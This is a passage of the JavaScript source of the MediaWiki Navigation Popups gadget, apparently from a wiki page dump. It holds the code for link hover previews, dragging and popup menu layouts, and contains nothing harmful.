once = false;
return;
}
}
function registerHooksForVisibleNavpops() {
for (let i = 0; pg.current.links && i < pg.current.links.length; ++i) {
const navpop = pg.current.links[i].navpopup;
if (!navpop || !navpop.isVisible()) {
continue;
}
Navpopup.tracker.addHook(posCheckerHook(navpop));
}
}
function doIt() {
registerHooksForVisibleNavpops();
$content.each(function () {
this.ranSetupTooltipsAlready = false;
setupTooltips(this);
});
}
setupPopups(doIt);
}
// This hook is also fired after page load.
mw.hook('wikipage.content').add(dynamicContentHandler);
mw.hook('ext.echo.overlay.beforeShowingOverlay').add(($overlay) => {
dynamicContentHandler($overlay.find('.mw-echo-state'));
});
}());
});
// ENDFILE: run.js
0hg4w3d7wuyediu6mitbo1s6up4ghyu
768370
768369
2026-10-14T11:42:54Z
Johannes Richter (WMDE)
61456
Undid revision [[Special:Diff/768369|768369]] by [[Special:Contributions/Johannes Richter (WMDE)|Johannes Richter (WMDE)]] ([[User talk:Johannes Richter (WMDE)|talk]])
768370
javascript
text/javascript
// STARTFILE: main.js
// **********************************************************************
// ** **
// ** changes to this file affect many users. **
// ** please discuss on the talk page before editing **
// ** **
// **********************************************************************
// ** **
// ** if you do edit this file, be sure that your editor recognizes it **
// ** as utf8, or the weird and wonderful characters in the namespaces **
// ** below will be completely broken. You can check with the show **
// ** changes button before submitting the edit. **
// ** test: مدیا מיוחד Мэдыя **
// ** **
// **********************************************************************
/* eslint-env browser */
/* global $, jQuery, mw, window */
// Fix later
/* global log, errlog, popupStrings, wikEdUseWikEd, WikEdUpdateFrame */
$(() => {
//////////////////////////////////////////////////
// Globals
//
// Trying to shove as many of these as possible into the pg (popup globals) object
const pg = {
api: {}, // MediaWiki API requests
re: {}, // regexps
ns: {}, // namespaces
string: {}, // translatable strings
wiki: {}, // local site info
user: {}, // current user info
misc: {}, // YUCK PHOOEY
option: {}, // options, see newOption etc
optionDefault: {}, // default option values
flag: {}, // misc flags
cache: {}, // page and image cache
structures: {}, // navlink structures
timer: {}, // all sorts of timers (too damn many)
counter: {}, // .. and all sorts of counters
current: {}, // state info
fn: {}, // functions
endoflist: null,
};
/* Bail if the gadget/script is being loaded twice */
/* An element with id "pg" would add a window.pg property, ignore such property */
if (window.pg && !(window.pg instanceof HTMLElement)) {
return;
}
/* Export to global context */
window.pg = pg;
/// Local Variables: ///
/// mode:c ///
/// End: ///
// ENDFILE: main.js
// STARTFILE: actions.js
function setupTooltips(container, remove, force, popData) {
log('setupTooltips, container=' + container + ', remove=' + remove);
if (!container) {
// the main initial call
if (
getValueOf('popupOnEditSelection') &&
document &&
document.editform &&
document.editform.wpTextbox1
) {
document.editform.wpTextbox1.onmouseup = doSelectionPopup;
}
// article/content is a structure-dependent thing
container = defaultPopupsContainer();
}
if (!remove && !force && container.ranSetupTooltipsAlready) {
return;
}
container.ranSetupTooltipsAlready = !remove;
let anchors;
anchors = container.getElementsByTagName('A');
setupTooltipsLoop(anchors, 0, 250, 100, remove, popData);
}
function defaultPopupsContainer() {
if (getValueOf('popupOnlyArticleLinks')) {
return (
document.querySelector('.skin-vector-2022 .vector-body') ||
document.getElementById('mw_content') ||
document.getElementById('content') ||
document.getElementById('article') ||
document
);
}
return document;
}
function setupTooltipsLoop(anchors, begin, howmany, sleep, remove, popData) {
log(simplePrintf('setupTooltipsLoop(%s,%s,%s,%s,%s)', arguments));
const finish = begin + howmany;
const loopend = Math.min(finish, anchors.length);
let j = loopend - begin;
log(
'setupTooltips: anchors.length=' +
anchors.length +
', begin=' +
begin +
', howmany=' +
howmany +
', loopend=' +
loopend +
', remove=' +
remove
);
const doTooltip = remove ? removeTooltip : addTooltip;
// try a faster (?) loop construct
if (j > 0) {
do {
const a = anchors[loopend - j];
if (typeof a === 'undefined' || !a || !a.href) {
log('got null anchor at index ' + loopend - j);
continue;
}
doTooltip(a, popData);
} while (--j);
}
if (finish < anchors.length) {
setTimeout(() => {
setupTooltipsLoop(anchors, finish, howmany, sleep, remove, popData);
}, sleep);
} else {
if (!remove && !getValueOf('popupTocLinks')) {
rmTocTooltips();
}
pg.flag.finishedLoading = true;
}
}
// eliminate popups from the TOC
// This also kills any onclick stuff that used to be going on in the toc
function rmTocTooltips() {
const toc = document.getElementById('toc');
if (toc) {
const tocLinks = toc.getElementsByTagName('A');
const tocLen = tocLinks.length;
for (let j = 0; j < tocLen; ++j) {
removeTooltip(tocLinks[j], true);
}
}
}
function addTooltip(a, popData) {
if (!isPopupLink(a)) {
return;
}
a.onmouseover = mouseOverWikiLink;
a.onmouseout = mouseOutWikiLink;
a.onmousedown = killPopup;
a.hasPopup = true;
a.popData = popData;
}
function removeTooltip(a) {
if (!a.hasPopup) {
return;
}
a.onmouseover = null;
a.onmouseout = null;
if (a.originalTitle) {
a.title = a.originalTitle;
}
a.hasPopup = false;
}
function removeTitle(a) {
if (!a.originalTitle) {
a.originalTitle = a.title;
}
a.title = '';
}
function restoreTitle(a) {
if (a.title || !a.originalTitle) {
return;
}
a.title = a.originalTitle;
}
function registerHooks(np) {
const popupMaxWidth = getValueOf('popupMaxWidth');
if (typeof popupMaxWidth === 'number') {
const setMaxWidth = function () {
np.mainDiv.style.maxWidth = popupMaxWidth + 'px';
np.maxWidth = popupMaxWidth;
};
np.addHook(setMaxWidth, 'unhide', 'before');
}
np.addHook(addPopupShortcuts, 'unhide', 'after');
np.addHook(rmPopupShortcuts, 'hide', 'before');
}
function removeModifierKeyHandler(a) {
//remove listeners for modifier key if any that were added in mouseOverWikiLink
document.removeEventListener('keydown', a.modifierKeyHandler, false);
document.removeEventListener('keyup', a.modifierKeyHandler, false);
}
function mouseOverWikiLink(evt) {
if (!evt && window.event) {
evt = window.event;
}
// if the modifier is needed, listen for it,
// we will remove the listener when we mouseout of this link or kill popup.
if (getValueOf('popupModifier')) {
// if popupModifierAction = enable, we should popup when the modifier is pressed
// if popupModifierAction = disable, we should popup unless the modifier is pressed
const action = getValueOf('popupModifierAction');
const key = action == 'disable' ? 'keyup' : 'keydown';
const a = this;
a.modifierKeyHandler = function (evt) {
mouseOverWikiLink2(a, evt);
};
document.addEventListener(key, a.modifierKeyHandler, false);
}
return mouseOverWikiLink2(this, evt);
}
/**
* Gets the references list item that the provided footnote link targets. This
* is typically a li element within the ol.references element inside the reflist.
*
* @param {Element} a - A footnote link.
* @return {Element|boolean} The targeted element, or false if one can't be found.
*/
function footnoteTarget(a) {
const aTitle = Title.fromAnchor(a);
// We want ".3A" rather than "%3A" or "?" here, so use the anchor property directly
const anch = aTitle.anchor;
if (!/^(cite_note-|_note-|endnote)/.test(anch)) {
return false;
}
const lTitle = Title.fromURL(location.href);
if (lTitle.toString(true) !== aTitle.toString(true)) {
return false;
}
let el = document.getElementById(anch);
while (el && typeof el.nodeName === 'string') {
const nt = el.nodeName.toLowerCase();
if (nt === 'li') {
return el;
} else if (nt === 'body') {
return false;
} else if (el.parentNode) {
el = el.parentNode;
} else {
return false;
}
}
return false;
}
function footnotePreview(x, navpop) {
let content = x.innerHTML;
const ol = x.closest('ol.mw-subreference-list');
if (ol) {
const referenceText = ol.parentElement.querySelector(
':scope > .reference-text'
);
if (referenceText) {
content =
'<div>' +
referenceText.outerHTML +
'<div style="display: block; margin-bottom: 0.7em;">' +
content +
'</div></div>';
}
}
setPopupHTML('<hr />' + content, 'popupPreview', navpop.idNumber);
}
function modifierPressed(evt) {
const mod = getValueOf('popupModifier');
if (!mod) {
return false;
}
if (!evt && window.event) {
evt = window.event;
}
return evt && mod && evt[mod.toLowerCase() + 'Key'];
}
// Checks if the correct modifier pressed/unpressed if needed
function isCorrectModifier(a, evt) {
if (!getValueOf('popupModifier')) {
return true;
}
// if popupModifierAction = enable, we should popup when the modifier is pressed
// if popupModifierAction = disable, we should popup unless the modifier is pressed
const action = getValueOf('popupModifierAction');
return (
(action == 'enable' && modifierPressed(evt)) || (action == 'disable' && !modifierPressed(evt))
);
}
function mouseOverWikiLink2(a, evt) {
if (!isCorrectModifier(a, evt)) {
return;
}
if (getValueOf('removeTitles')) {
removeTitle(a);
}
if (a == pg.current.link && a.navpopup && a.navpopup.isVisible()) {
return;
}
pg.current.link = a;
if (getValueOf('simplePopups') && !pg.option.popupStructure) {
// reset *default value* of popupStructure
setDefault('popupStructure', 'original');
}
const article = new Title().fromAnchor(a);
// set global variable (ugh) to hold article (wikipage)
pg.current.article = article;
if (!a.navpopup) {
a.navpopup = newNavpopup(a, article);
pg.current.linksHash[a.href] = a.navpopup;
pg.current.links.push(a);
}
if (a.navpopup.pending === null || a.navpopup.pending !== 0) {
// either fresh popups or those with unfinshed business are redone from scratch
simplePopupContent(a, article);
}
a.navpopup.showSoonIfStable(a.navpopup.delay);
clearInterval(pg.timer.checkPopupPosition);
pg.timer.checkPopupPosition = setInterval(checkPopupPosition, 600);
if (getValueOf('simplePopups')) {
if (getValueOf('popupPreviewButton') && !a.simpleNoMore) {
const d = document.createElement('div');
d.className = 'popupPreviewButtonDiv';
const s = document.createElement('span');
d.appendChild(s);
s.className = 'popupPreviewButton';
s['on' + getValueOf('popupPreviewButtonEvent')] = function () {
a.simpleNoMore = true;
d.style.display = 'none';
nonsimplePopupContent(a, article);
};
s.innerHTML = popupString('show preview');
setPopupHTML(d, 'popupPreview', a.navpopup.idNumber);
}
}
if (a.navpopup.pending !== 0) {
nonsimplePopupContent(a, article);
}
}
// simplePopupContent: the content that do not require additional download
// (it is shown even when simplePopups is true)
function simplePopupContent(a, article) {
/* FIXME hack */ a.navpopup.hasPopupMenu = false;
a.navpopup.setInnerHTML(popupHTML(a));
fillEmptySpans({ navpopup: a.navpopup });
if (getValueOf('popupDraggable')) {
let dragHandle = getValueOf('popupDragHandle') || null;
if (dragHandle && dragHandle != 'all') {
dragHandle += a.navpopup.idNumber;
}
setTimeout(() => {
a.navpopup.makeDraggable(dragHandle);
}, 150);
}
if (getValueOf('popupRedlinkRemoval') && a.className == 'new') {
setPopupHTML('<br>' + popupRedlinkHTML(article), 'popupRedlink', a.navpopup.idNumber);
}
}
function debugData(navpopup) {
if (getValueOf('popupDebugging') && navpopup.idNumber) {
setPopupHTML(
'idNumber=' + navpopup.idNumber + ', pending=' + navpopup.pending,
'popupError',
navpopup.idNumber
);
}
}
function newNavpopup(a, article) {
const navpopup = new Navpopup();
navpopup.fuzz = 5;
navpopup.delay = getValueOf('popupDelay') * 1000;
// increment global counter now
navpopup.idNumber = ++pg.idNumber;
navpopup.parentAnchor = a;
navpopup.parentPopup = a.popData && a.popData.owner;
navpopup.article = article;
registerHooks(navpopup);
return navpopup;
}
// Should we show nonsimple context?
// If simplePopups is set to true, then we do not show nonsimple context,
// but if a bottom "show preview" was clicked we do show nonsimple context
function shouldShowNonSimple(a) {
return !getValueOf('simplePopups') || a.simpleNoMore;
}
// Should we show nonsimple context govern by the option (e.g. popupUserInfo)?
// If the user explicitly asked for nonsimple context by setting the option to true,
// then we show it even in nonsimple mode.
function shouldShow(a, option) {
if (shouldShowNonSimple(a)) {
return getValueOf(option);
} else {
return typeof window[option] != 'undefined' && window[option];
}
}
function nonsimplePopupContent(a, article) {
let diff = null,
history = null;
const params = parseParams(a.href);
const oldid = typeof params.oldid == 'undefined' ? null : params.oldid;
if (shouldShow(a, 'popupPreviewDiffs')) {
diff = params.diff;
}
if (shouldShow(a, 'popupPreviewHistory')) {
history = params.action == 'history';
}
a.navpopup.pending = 0;
const referenceElement = footnoteTarget(a);
if (referenceElement) {
footnotePreview(referenceElement, a.navpopup);
} else if (diff || diff === 0) {
loadDiff(article, oldid, diff, a.navpopup);
} else if (history) {
loadAPIPreview('history', article, a.navpopup);
} else if (shouldShowNonSimple(a) && pg.re.contribs.test(a.href)) {
loadAPIPreview('contribs', article, a.navpopup);
} else if (shouldShowNonSimple(a) && pg.re.backlinks.test(a.href)) {
loadAPIPreview('backlinks', article, a.navpopup);
} else if (
// FIXME should be able to get all preview combinations with options
article.namespaceId() == pg.nsImageId &&
(shouldShow(a, 'imagePopupsForImages') || !anchorContainsImage(a))
) {
loadAPIPreview('imagepagepreview', article, a.navpopup);
loadImage(article, a.navpopup);
} else {
if (article.namespaceId() == pg.nsCategoryId && shouldShow(a, 'popupCategoryMembers')) {
loadAPIPreview('category', article, a.navpopup);
} else if (
(article.namespaceId() == pg.nsUserId || article.namespaceId() == pg.nsUsertalkId) &&
shouldShow(a, 'popupUserInfo')
) {
loadAPIPreview('userinfo', article, a.navpopup);
}
if (shouldShowNonSimple(a)) {
startArticlePreview(article, oldid, a.navpopup);
}
}
}
function pendingNavpopTask(navpop) {
if (navpop && navpop.pending === null) {
navpop.pending = 0;
}
++navpop.pending;
debugData(navpop);
}
function completedNavpopTask(navpop) {
if (navpop && navpop.pending) {
--navpop.pending;
}
debugData(navpop);
}
function startArticlePreview(article, oldid, navpop) {
navpop.redir = 0;
loadPreview(article, oldid, navpop);
}
function loadPreview(article, oldid, navpop) {
if (!navpop.redir) {
navpop.originalArticle = article;
}
article.oldid = oldid;
loadAPIPreview('revision', article, navpop);
}
function loadPreviewFromRedir(redirMatch, navpop) {
// redirMatch is a regex match
const target = new Title().fromWikiText(redirMatch[2]);
// overwrite (or add) anchor from original target
// mediawiki does overwrite; eg [[User:Lupin/foo3#Done]]
if (navpop.article.anchor) {
target.anchor = navpop.article.anchor;
}
navpop.redir++;
navpop.redirTarget = target;
const warnRedir = redirLink(target, navpop.article);
setPopupHTML(warnRedir, 'popupWarnRedir', navpop.idNumber);
navpop.article = target;
fillEmptySpans({ redir: true, redirTarget: target, navpopup: navpop });
return loadPreview(target, null, navpop);
}
function insertPreview(download) {
if (!download.owner) {
return;
}
const redirMatch = pg.re.redirect.exec(download.data);
if (download.owner.redir === 0 && redirMatch) {
loadPreviewFromRedir(redirMatch, download.owner);
return;
}
if (download.owner.visible || !getValueOf('popupLazyPreviews')) {
insertPreviewNow(download);
} else {
const id = download.owner.redir ? 'PREVIEW_REDIR_HOOK' : 'PREVIEW_HOOK';
download.owner.addHook(
() => {
insertPreviewNow(download);
return true;
},
'unhide',
'after',
id
);
}
}
function insertPreviewNow(download) {
if (!download.owner) {
return;
}
const wikiText = download.data;
const navpop = download.owner;
const art = navpop.redirTarget || navpop.originalArticle;
makeFixDabs(wikiText, navpop);
if (getValueOf('popupSummaryData')) {
getPageInfo(wikiText, download);
setPopupTrailer(getPageInfo(wikiText, download), navpop.idNumber);
}
let imagePage = '';
if (art.namespaceId() == pg.nsImageId) {
imagePage = art.toString();
} else {
imagePage = getValidImageFromWikiText(wikiText);
}
if (imagePage) {
loadImage(Title.fromWikiText(imagePage), navpop);
}
if (getValueOf('popupPreviews')) {
insertArticlePreview(download, art, navpop);
}
}
function insertArticlePreview(download, art, navpop) {
if (download && typeof download.data == typeof '') {
if (art.namespaceId() == pg.nsTemplateId && getValueOf('popupPreviewRawTemplates')) {
// FIXME compare/consolidate with diff escaping code for wikitext
const h =
'<hr /><span style="font-family: monospace;">' +
download.data.entify().split('\\n').join('<br />\\n') +
'</span>';
setPopupHTML(h, 'popupPreview', navpop.idNumber);
} else {
const p = prepPreviewmaker(download.data, art, navpop);
p.showPreview();
}
}
}
function prepPreviewmaker(data, article, navpop) {
// deal with tricksy anchors
const d = anchorize(data, article.anchorString());
const urlBase = joinPath([pg.wiki.articlebase, article.urlString()]);
const p = new Previewmaker(d, urlBase, navpop);
return p;
}
// Try to imitate the way mediawiki generates HTML anchors from section titles
function anchorize(d, anch) {
if (!anch) {
return d;
}
const anchRe = RegExp(
'(?:=+\\s*' +
literalizeRegex(anch).replace(/[_ ]/g, '[_ ]') +
'\\s*=+|\\{\\{\\s*' +
getValueOf('popupAnchorRegexp') +
'\\s*(?:\\|[^|}]*)*?\\s*' +
literalizeRegex(anch) +
'\\s*(?:\\|[^}]*)?}})'
);
const match = d.match(anchRe);
if (match && match.length > 0 && match[0]) {
return d.substring(d.indexOf(match[0]));
}
// now try to deal with == foo [[bar|baz]] boom == -> #foo_baz_boom
const lines = d.split('\n');
for (let i = 0; i < lines.length; ++i) {
lines[i] = lines[i]
.replace(/[[]{2}([^|\]]*?[|])?(.*?)[\]]{2}/g, '$2')
.replace(/'''([^'])/g, '$1')
.replace(/''([^'])/g, '$1');
if (lines[i].match(anchRe)) {
return d.split('\n').slice(i).join('\n').replace(/^[^=]*/, '');
}
}
return d;
}
function killPopup() {
removeModifierKeyHandler(this);
if (getValueOf('popupShortcutKeys')) {
rmPopupShortcuts();
}
if (!pg) {
return;
}
if (pg.current.link && pg.current.link.navpopup) {
pg.current.link.navpopup.banish();
}
pg.current.link = null;
abortAllDownloads();
if (pg.timer.checkPopupPosition) {
clearInterval(pg.timer.checkPopupPosition);
pg.timer.checkPopupPosition = null;
}
return true; // preserve default action
}
// ENDFILE: actions.js
// STARTFILE: domdrag.js
/**
* @file
* The {@link Drag} object, which enables objects to be dragged around.
*
* <pre>
* *************************************************
* dom-drag.js
* 09.25.2001
* www.youngpup.net
* **************************************************
* 10.28.2001 - fixed minor bug where events
* sometimes fired off the handle, not the root.
* *************************************************
* Pared down, some hooks added by [[User:Lupin]]
*
* Copyright Aaron Boodman.
* Saying stupid things daily since March 2001.
* </pre>
*/
/**
* Creates a new Drag object. This is used to make various DOM elements draggable.
*
* @constructor
*/
function Drag() {
/**
* Condition to determine whether or not to drag. This function should take one parameter,
* an Event. To disable this, set it to <code>null</code>.
*
* @type {Function}
*/
this.startCondition = null;
/**
* Hook to be run when the drag finishes. This is passed the final coordinates of the
* dragged object (two integers, x and y). To disables this, set it to <code>null</code>.
*
* @type {Function}
*/
this.endHook = null;
}
/**
* Gets an event in a cross-browser manner.
*
* @param {Event} e
* @private
*/
Drag.prototype.fixE = function (e) {
if (typeof e == 'undefined') {
e = window.event;
}
if (typeof e.layerX == 'undefined') {
e.layerX = e.offsetX;
}
if (typeof e.layerY == 'undefined') {
e.layerY = e.offsetY;
}
return e;
};
/**
* Initialises the Drag instance by telling it which object you want to be draggable, and what
* you want to drag it by.
*
* @param {HTMLElement} o The "handle" by which <code>oRoot</code> is dragged.
* @param {HTMLElement} oRoot The object which moves when <code>o</code> is dragged, or <code>o</code> if omitted.
*/
Drag.prototype.init = function (o, oRoot) {
const dragObj = this;
this.obj = o;
o.onmousedown = function (e) {
dragObj.start.apply(dragObj, [e]);
};
o.dragging = false;
o.popups_draggable = true;
o.hmode = true;
o.vmode = true;
o.root = oRoot || o;
if (isNaN(parseInt(o.root.style.left, 10))) {
o.root.style.left = '0px';
}
if (isNaN(parseInt(o.root.style.top, 10))) {
o.root.style.top = '0px';
}
o.root.onthisStart = function () {};
o.root.onthisEnd = function () {};
o.root.onthis = function () {};
};
/**
* Starts the drag.
*
* @private
* @param {Event} e
*/
Drag.prototype.start = function (e) {
const o = this.obj; // = this;
e = this.fixE(e);
if (this.startCondition && !this.startCondition(e)) {
return;
}
const y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom, 10);
const x = parseInt(o.hmode ? o.root.style.left : o.root.style.right, 10);
o.root.onthisStart(x, y);
o.lastMouseX = e.clientX;
o.lastMouseY = e.clientY;
const dragObj = this;
o.onmousemoveDefault = document.onmousemove;
o.dragging = true;
document.onmousemove = function (e) {
dragObj.drag.apply(dragObj, [e]);
};
document.onmouseup = function (e) {
dragObj.end.apply(dragObj, [e]);
};
return false;
};
/**
* Does the drag.
*
* @param {Event} e
* @private
*/
Drag.prototype.drag = function (e) {
e = this.fixE(e);
const o = this.obj;
const ey = e.clientY;
const ex = e.clientX;
const y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom, 10);
const x = parseInt(o.hmode ? o.root.style.left : o.root.style.right, 10);
let nx, ny;
nx = x + (ex - o.lastMouseX) * (o.hmode ? 1 : -1);
ny = y + (ey - o.lastMouseY) * (o.vmode ? 1 : -1);
this.obj.root.style[o.hmode ? 'left' : 'right'] = nx + 'px';
this.obj.root.style[o.vmode ? 'top' : 'bottom'] = ny + 'px';
this.obj.lastMouseX = ex;
this.obj.lastMouseY = ey;
this.obj.root.onthis(nx, ny);
return false;
};
/**
* Ends the drag.
*
* @private
*/
Drag.prototype.end = function () {
document.onmousemove = this.obj.onmousemoveDefault;
document.onmouseup = null;
this.obj.dragging = false;
if (this.endHook) {
this.endHook(
parseInt(this.obj.root.style[this.obj.hmode ? 'left' : 'right'], 10),
parseInt(this.obj.root.style[this.obj.vmode ? 'top' : 'bottom'], 10)
);
}
};
// ENDFILE: domdrag.js
// STARTFILE: structures.js
pg.structures.original = {};
pg.structures.original.popupLayout = function () {
return [
'popupError',
'popupImage',
'popupTopLinks',
'popupTitle',
'popupUserData',
'popupData',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
pg.structures.original.popupRedirSpans = function () {
return [
'popupRedir',
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
];
};
pg.structures.original.popupTitle = function (x) {
log('defaultstructure.popupTitle');
if (!getValueOf('popupNavLinks')) {
return navlinkStringToHTML('<b><<mainlink>></b>', x.article, x.params);
}
return '';
};
pg.structures.original.popupTopLinks = function (x) {
log('defaultstructure.popupTopLinks');
if (getValueOf('popupNavLinks')) {
return navLinksHTML(x.article, x.hint, x.params);
}
return '';
};
pg.structures.original.popupImage = function (x) {
log('original.popupImage, x.article=' + x.article + ', x.navpop.idNumber=' + x.navpop.idNumber);
return imageHTML(x.article, x.navpop.idNumber);
};
pg.structures.original.popupRedirTitle = pg.structures.original.popupTitle;
pg.structures.original.popupRedirTopLinks = pg.structures.original.popupTopLinks;
function copyStructure(oldStructure, newStructure) {
pg.structures[newStructure] = {};
for (const prop in pg.structures[oldStructure]) {
pg.structures[newStructure][prop] = pg.structures[oldStructure][prop];
}
}
copyStructure('original', 'nostalgia');
pg.structures.nostalgia.popupTopLinks = function (x) {
let str = '';
str += '<b><<mainlink|shortcut= >></b>';
// user links
// contribs - log - count - email - block
// count only if applicable; block only if popupAdminLinks
str += 'if(user){<br><<contribs|shortcut=c>>';
str += 'if(wikimedia){*<<count|shortcut=#>>}';
str += 'if(ipuser){}else{*<<email|shortcut=E>>}if(admin){*<<block|shortcut=b>>}}';
// editing links
// talkpage -> edit|new - history - un|watch - article|edit
// other page -> edit - history - un|watch - talk|edit|new
const editstr = '<<edit|shortcut=e>>';
const editOldidStr =
'if(oldid){<<editOld|shortcut=e>>|<<revert|shortcut=v|rv>>|<<edit|cur>>}else{' +
editstr +
'}';
const historystr = '<<history|shortcut=h>>';
const watchstr = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
str +=
'<br>if(talk){' +
editOldidStr +
'|<<new|shortcut=+>>' +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<article|shortcut=a>></b>|<<editArticle|edit>>' +
'}else{' + // not a talk page
editOldidStr +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<talk|shortcut=t>></b>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>}';
// misc links
str += '<br><<whatLinksHere|shortcut=l>>*<<relatedChanges|shortcut=r>>';
str += 'if(admin){<br>}else{*}<<move|shortcut=m>>';
// admin links
str +=
'if(admin){*<<unprotect|unprotectShort>>|<<protect|shortcut=p>>*' +
'<<undelete|undeleteShort>>|<<delete|shortcut=d>>}';
return navlinkStringToHTML(str, x.article, x.params);
};
pg.structures.nostalgia.popupRedirTopLinks = pg.structures.nostalgia.popupTopLinks;
/** -- fancy -- */
copyStructure('original', 'fancy');
pg.structures.fancy.popupTitle = function (x) {
return navlinkStringToHTML('<font size=+0><<mainlink>></font>', x.article, x.params);
};
pg.structures.fancy.popupTopLinks = function (x) {
const hist =
'<<history|shortcut=h|hist>>|<<lastEdit|shortcut=/|last>>|<<editors|shortcut=E|eds>>';
const watch = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
const move = '<<move|shortcut=m|move>>';
return navlinkStringToHTML(
'if(talk){' +
'<<edit|shortcut=e>>|<<new|shortcut=+|+>>*' +
hist +
'*' +
'<<article|shortcut=a>>|<<editArticle|edit>>' +
'*' +
watch +
'*' +
move +
'}else{<<edit|shortcut=e>>*' +
hist +
'*<<talk|shortcut=t|>>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>' +
'*' +
watch +
'*' +
move +
'}<br>',
x.article,
x.params
);
};
pg.structures.fancy.popupOtherLinks = function (x) {
const admin =
'<<unprotect|unprotectShort>>|<<protect|shortcut=p>>*<<undelete|undeleteShort>>|<<delete|shortcut=d|del>>';
let user = '<<contribs|shortcut=c>>if(wikimedia){|<<count|shortcut=#|#>>}';
user +=
'if(ipuser){|<<arin>>}else{*<<email|shortcut=E|' +
popupString('email') +
'>>}if(admin){*<<block|shortcut=b>>}';
const normal = '<<whatLinksHere|shortcut=l|links here>>*<<relatedChanges|shortcut=r|related>>';
return navlinkStringToHTML(
'<br>if(user){' + user + '*}if(admin){' + admin + 'if(user){<br>}else{*}}' + normal,
x.article,
x.params
);
};
pg.structures.fancy.popupRedirTitle = pg.structures.fancy.popupTitle;
pg.structures.fancy.popupRedirTopLinks = pg.structures.fancy.popupTopLinks;
pg.structures.fancy.popupRedirOtherLinks = pg.structures.fancy.popupOtherLinks;
/** -- fancy2 -- */
// hack for [[User:MacGyverMagic]]
copyStructure('fancy', 'fancy2');
pg.structures.fancy2.popupTopLinks = function (x) {
// hack out the <br> at the end and put one at the beginning
return '<br>' + pg.structures.fancy.popupTopLinks(x).replace(/<br>$/i, '');
};
pg.structures.fancy2.popupLayout = function () {
// move toplinks to after the title
return [
'popupError',
'popupImage',
'popupTitle',
'popupUserData',
'popupData',
'popupTopLinks',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
/** -- menus -- */
copyStructure('original', 'menus');
pg.structures.menus.popupLayout = function () {
return [
'popupError',
'popupImage',
'popupTopLinks',
'popupTitle',
'popupOtherLinks',
'popupRedir',
[
'popupWarnRedir',
'popupRedirTopLinks',
'popupRedirTitle',
'popupRedirData',
'popupRedirOtherLinks',
],
'popupUserData',
'popupData',
'popupMiscTools',
['popupRedlink'],
'popupPrePreviewSep',
'popupPreview',
'popupSecondPreview',
'popupPreviewMore',
'popupPostPreview',
'popupFixDab',
];
};
pg.structures.menus.popupTopLinks = function (x, shorter) {
// FIXME maybe this stuff should be cached
const s = [];
const dropclass = 'popup_drop';
const enddiv = '</div>';
let hist = '<<history|shortcut=h>>';
if (!shorter) {
hist = '<menurow>' + hist + '|<<historyfeed|rss>>|<<editors|shortcut=E>></menurow>';
}
const lastedit = '<<lastEdit|shortcut=/|show last edit>>';
const thank = 'if(diff){<<thank|send thanks>>}';
const jsHistory = '<<lastContrib|last set of edits>><<sinceMe|changes since mine>>';
const linkshere = '<<whatLinksHere|shortcut=l|what links here>>';
const related = '<<relatedChanges|shortcut=r|related changes>>';
const search =
'<menurow><<search|shortcut=s>>if(wikimedia){|<<globalsearch|shortcut=g|global>>}' +
'|<<google|shortcut=G|web>></menurow>';
const watch = '<menurow><<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>></menurow>';
const protect =
'<menurow><<unprotect|unprotectShort>>|' +
'<<protect|shortcut=p>>|<<protectlog|log>></menurow>';
const del =
'<menurow><<undelete|undeleteShort>>|<<delete|shortcut=d>>|<<deletelog|log>></menurow>';
const move = '<<move|shortcut=m|move page>>';
const nullPurge = '<menurow><<nullEdit|shortcut=n|null edit>>|<<purge|shortcut=P>></menurow>';
const viewOptions = '<menurow><<view|shortcut=v>>|<<render|shortcut=S>>|<<raw>></menurow>';
const editRow =
'if(oldid){' +
'<menurow><<edit|shortcut=e>>|<<editOld|shortcut=e|this revision>></menurow>' +
'<menurow><<revert|shortcut=v>>|<<undo>></menurow>' +
'}else{<<edit|shortcut=e>>}';
const markPatrolled = 'if(rcid){<<markpatrolled|mark patrolled>>}';
const newTopic = 'if(talk){<<new|shortcut=+|new topic>>}';
const protectDelete = 'if(admin){' + protect + del + '}';
if (getValueOf('popupActionsMenu')) {
s.push('<<mainlink>>*' + menuTitle(dropclass, 'actions'));
} else {
s.push('<div class="' + dropclass + '"><<mainlink>>');
}
s.push('<menu>');
s.push(editRow + markPatrolled + newTopic + hist + lastedit + thank);
if (!shorter) {
s.push(jsHistory);
}
s.push(move + linkshere + related);
if (!shorter) {
s.push(nullPurge + search);
}
if (!shorter) {
s.push(viewOptions);
}
s.push('<hr />' + watch + protectDelete);
s.push(
'<hr />' +
'if(talk){<<article|shortcut=a|view article>><<editArticle|edit article>>}' +
'else{<<talk|shortcut=t|talk page>><<editTalk|edit talk>>' +
'<<newTalk|shortcut=+|new topic>>}</menu>' +
enddiv
);
// user menu starts here
const email = '<<email|shortcut=E|email user>>';
const contribs =
'if(wikimedia){<menurow>}<<contribs|shortcut=c|contributions>>if(wikimedia){</menurow>}' +
'if(admin){<menurow><<deletedContribs>></menurow>}';
s.push('if(user){*' + menuTitle(dropclass, 'user'));
s.push('<menu>');
s.push('<menurow><<userPage|shortcut=u|user page>>|<<userSpace|space>></menurow>');
s.push(
'<<userTalk|shortcut=t|user talk>><<editUserTalk|edit user talk>>' +
'<<newUserTalk|shortcut=+|leave comment>>'
);
if (!shorter) {
s.push('if(ipuser){<<arin>>}else{' + email + '}');
} else {
s.push('if(ipuser){}else{' + email + '}');
}
